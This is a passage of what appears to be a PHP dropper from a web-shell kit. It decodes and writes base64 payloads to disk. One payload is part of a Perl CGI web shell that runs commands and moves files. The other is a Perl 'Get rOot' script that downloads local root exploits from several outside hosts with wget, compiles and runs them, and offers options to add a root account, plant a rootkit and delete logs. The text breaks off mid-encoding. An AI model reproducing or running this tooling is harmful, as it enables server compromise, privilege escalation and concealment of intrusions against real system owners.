LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2Vy
IHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNp
ZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQoj
IGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHBy
b3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVk
LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxl
IGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2Zl
ckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVEb3du
bG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgoJIyBnZXQgZnVsbHkg
cXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAm
ICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVy
RmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAk
VHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJn
ZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRU
YXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEg
ImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIo
JFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBh
Z2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQoj
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExv
Y2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJf
TkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9
OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9u
ID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFj
dGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNo
IHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNo
b3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dn
ZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEg
ImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJm
b3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBy
dW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxv
YWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNp
ZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUK
ewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2Fu
dHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CgoK');
$write = fwrite ($file ,$sa);
$file = fopen($dir."1.txt" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC13CgppZihAQVJHViA8IDEpeyAKcHJpbnQgcSAgICggCiAKIz09PT09PT09PT09PT1bIHJPb3QgVG9vbHogXT09PT09PT09PT09PT0jIAp8IHVpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpIHwKfCAgICAgICAgICAgIEdldHxyT290IHYxLjAgICAgICAgICAgICAgICB8CnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAp8IFRITksgMiA6IFNhckJvVDUxMSBTYWRIYWNLZXIgU2lMdmVyLjQ3IHwgCnwgaS1IbXggVGhlIGluamVjdG9yIFoxZCBOby1RclFyIEZveCBIYUMgfCAKIz09PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT0jCnwgTG9jYWwgcm9vdCAyMDEwIEZyZWVCc0QgICAgICAgICAgIC03IHwgICAgICAgICAgICAgCnwgTG9jYWwgcm9vdCBhTEwgIEV4cGxvaXQgICAgICAgICAgIC04IHwgICAgICAgICAKfCBMb2NhbCBSb290IFByaXZpbGVnZSBFc2NhbGF0aW9uICAgLTkgfCAgICAgICAgIAojPT09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PSMKfCAgICBNb3JlIGFib3V0IEdlVCByT29UIHZlcnNpb24gMS4wIC1hYiB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAp8ICAgICAgICAgIEhlbHAgTXkgaSBuZWVkIGhlbHAgICAgICAgLWhlIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0jCiM9PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT09IyAKfCB1aWQ9MChyb290KSAgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCl8CnwgTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IC0xICAgfAp8IExvY2FsIHJvb3QgMjAwOSBpNjg2ICAgMi42LjE4LTEyOCAtMiAgIHwKfCBMb2NhbCByb290IDIwMDggICAgICAgIDIuNi4xOCAgICAgLTMgICB8CnwgTG9jYWwgcm9vdCAyMDA3IHg4Nl82NCAyLjYuMjItNiAgIC00ICAgfAp8IGFsbCBMb2NhbCByb290ICAgICAgICAgICAgICAgICAgICAtNSAgIHwKIz09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PT0jCnwgICAgICAgICAgIEFkZCByb290IEFjY291bnQgICAgICAgIC1yICAgfAp8ICAgICAgICAgIGFkZCByb290a2l0IHY0LXRlYW0gICAgICAtdCAgIHwKfCAgICAgICAgICAgICAgcm0gLXJmIExvZyAgICAgICAgICAgLXJtICB8CiM9PT09PT09PT09PT1bICAgIGFib3V0ICAgXT09PT09PT09PT09PT09IyAKfCAgIEdlVCByT29UIEJ5IE9yNG5HLk00biB2ZXJzaW9uIDEuMCAgICB8IAp8ICAgIHByaXY4dGUgWyBAIF0gSG90bWFpbCBbIC4gXSBjb20gICAgIHwgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IyAKICAgICAgIHNlYzRldmVyLmNvbSB8IHY0LXRlYW0uY29tICAgICAgICAgICAgICAJCQkJCQkJCSAgIAopOwoKZXhpdDsKICAgICB9CgppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiYWRkIFNoZWxsIHRvb2xzIFsgdCBdXG4iOwpzeXN0ZW0gIndnZXQgaHR0cCI7CnN5c3RlbSAiY2QgL3Vzci9iaW47Y2htb2QgK3MgY2F0IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKCgogICAgIH0gCgppZiAoJEFSR1ZbMF0gPX4gIi0xIiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IFsgMSBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMSI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0xIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0xIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQoKaWYgKCRBUkdWWzBdID1+ICItMiIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwOSBpNjg2IDIuNi4xOC0xMjggIFsgMiBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0yIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0yIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkgCgkgCmlmICgkQVJHVlswXSA9fiAiLTMiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDggaTY4NiAyLjYuMTggIFsgMyBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0zIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkKCSAKaWYgKCRBUkdWWzBdID1+ICItNCIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwNyB4ODZfNjQgMi42LjIyLTYgWyA0IF1cbiI7CnN5c3RlbSAicHdkIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L0xvY2Fsei00IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgTG9jYWx6LTQiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vTG9jYWx6LTQiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQoJIAppZiAoJEFSR1ZbMF0gPX4gIi03IiApIAogICAgICAgICAgewpwcmludCAgIkxvY2FsIHJvb3QgMjAxMCBGcmVlQnNEIFsgYnNkIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvbG9jNGwiOwpzeXN0ZW0gImNobW9kIDc3NyBsb2M0bCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvYnNkbG9jYWwiOwpzeXN0ZW0gImNobW9kIDc3NyBic2Rsb2NhbCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvRnJlZUJTRG1hc3Rlci5wYXNzd2QuYyI7CnN5c3RlbSAiY2htb2QgNzc3IEZyZWVCU0RtYXN0ZXIucGFzc3dkLmMiOwogICAgIH0KCmlmICgkQVJHVlswXSA9fiAiLTgiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IGFMTCBFeHBsb2l0IFsgcHJpIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi40LjIwIjsKc3lzdGVtICJjaG1vZCA3NzcgMi40LjIwIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L2FsbC8yLjQuMjkiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjQuMjkiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNC4zNCI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNC4zNCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi42LjguYyI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNi44LmMiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNi42LTM0LmMiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjYuNi0zNC5jIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpwcmludCAiXHQgb2sgbm93IHlvdSBjYW4gdHJheSBhbnkgTG9jYWwiOwogICAgIH0JIAoJIAppZiAoJEFSR1ZbMF0gPX4gIi05IiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgUm9vdCBQcml2aWxlZ2UgRXNjYWxhdGlvbiBbIHhwbCBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAncHJpbnRmICJpbnN0YWxsIHVwcm9iZXMgL2Jpbi9zaCIgPiBleHBsb2l0LmNvbmY7IE1PRFBST0JFX09QVElPTlM9Ii1DIGV4cGxvaXQuY29uZiIgc3RhcHJ1biAtdSB3aGF0ZXZlcic7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgaWYgKCRBUkdWWzBdID1+ICItNSIgKSAKICAgICAgICAgIHsKCQkgIAoJCSAgCiBzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvMjAxMC0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMTAtMSIpOwpzeXN0ZW0oIi4vMjAxMC0xIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuY2xlYXJ3YXRlcmNvdHRhZ2VzLmNvbS9tb2R1bGVzLzIwMTAtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTIiKTsKc3lzdGVtKCIuLzIwMTAtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LmNsZWFyd2F0ZXJjb3R0YWdlcy5jb20vbW9kdWxlcy9saW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oImNobW9kIDc3NyBsaW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vbGludXgtcmRzLWV4cGxvaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvaS1jYW4taGF6LW1vZGhhcmRlbiIpOwpzeXN0ZW0oImNobW9kIDc3NyBpLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiLi9pLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgkJICAKCQkgIHN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNvbGFyZW5zLmNvbS90ZW1wbGF0ZXMvYmVlei8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOyAKc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgkJICAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrb3JwaXR4Iik7CnN5c3RlbSgiY2htb2QgNzc3IGlza29ycGl0eCIpOyAKc3lzdGVtKCIuL2lza29ycGl0eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jIik7CnN5c3RlbSgiY2htb2QgNzc3IGMiKTsKc3lzdGVtKCIuL2MiKTsKc3lzdGVtKCJpZCIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZCIpOwpzeXN0ZW0oIi4vZCIpOwpzeXN0ZW0oImlkIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsKc3lzdGVtKCIuLzQ0Iik7CnN5c3RlbSgiaWQiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOTUyMSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5NTIxIik7CnN5c3RlbSgiLi85NTIxIik7CnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9ydW45NyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuOTciKTsgCnN5c3RlbSgiLi85NyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9mcm9vdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZnJvb3QiKTsgCnN5c3RlbSgiLi9mcm9vdCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC0xLmMiKTsgCnN5c3RlbSgiZ2NjIC1XYWxsIC1vIDE4LTEgMTgtMS5jIik7IApzeXN0ZW0oImdjYyAtV2FsbCAtbTY0IC1vIDE4LTMgMTgtMS5jIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0xIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMSIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4LTMiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMTgtMiIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDE4LTIiKTsgCnN5c3RlbSgiLi8xOC0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzE4LTMiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC01Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMTgtNSIpOyAKc3lzdGVtKCIuLzE4LTUiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHBsb2l0MiIpOyAKc3lzdGVtKCIuL2V4cGxvaXQyIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2V4cDEiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHAxIik7IApzeXN0ZW0oIi4vZXhwMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9leHAyIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyAKc3lzdGVtKCIuL2V4cDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwMyIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsgCnN5c3RlbSgiLi9leHAzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIwMDktMSIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktMSIpOyAKc3lzdGVtKCIuLzIwMDktMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8zLmMiKTsgCnN5c3RlbSgiZ2NjIDMuYyAtbyAzIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOyAKc3lzdGVtKCIuLzMiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvM2EiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDNhIik7IApzeXN0ZW0oIi4vM2EiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNC5jIik7IApzeXN0ZW0oImdjYyA0LmMgLW8gNCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDQiKTsgCnN5c3RlbSgiLi80Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzRhIik7IApzeXN0ZW0oImNobW9kIDc3NyA0YSIpOyAKc3lzdGVtKCIuLzRhIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jeC5jIik7IApzeXN0ZW0oImdjYyBjeC5jIC1vIGN4Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgY3giKTsgCnN5c3RlbSgiLi9jeCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvY3h4LmMiKTsgCnN5c3RlbSgiZ2NjIGN4eC5jIC1vIGN4eCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGN4eCIpOyAKc3lzdGVtKCIuL2N4eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IApzeXN0ZW0oIi4vZXhwbG9pdDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL3J1biIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuIik7IApzeXN0ZW0oIi4vcnVuIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9yb290c2guYyIpOyAKc3lzdGVtKCJnY2Mgcm9vdHNoLmMgLW8gcm9vdHNoIik7ICAKc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdHN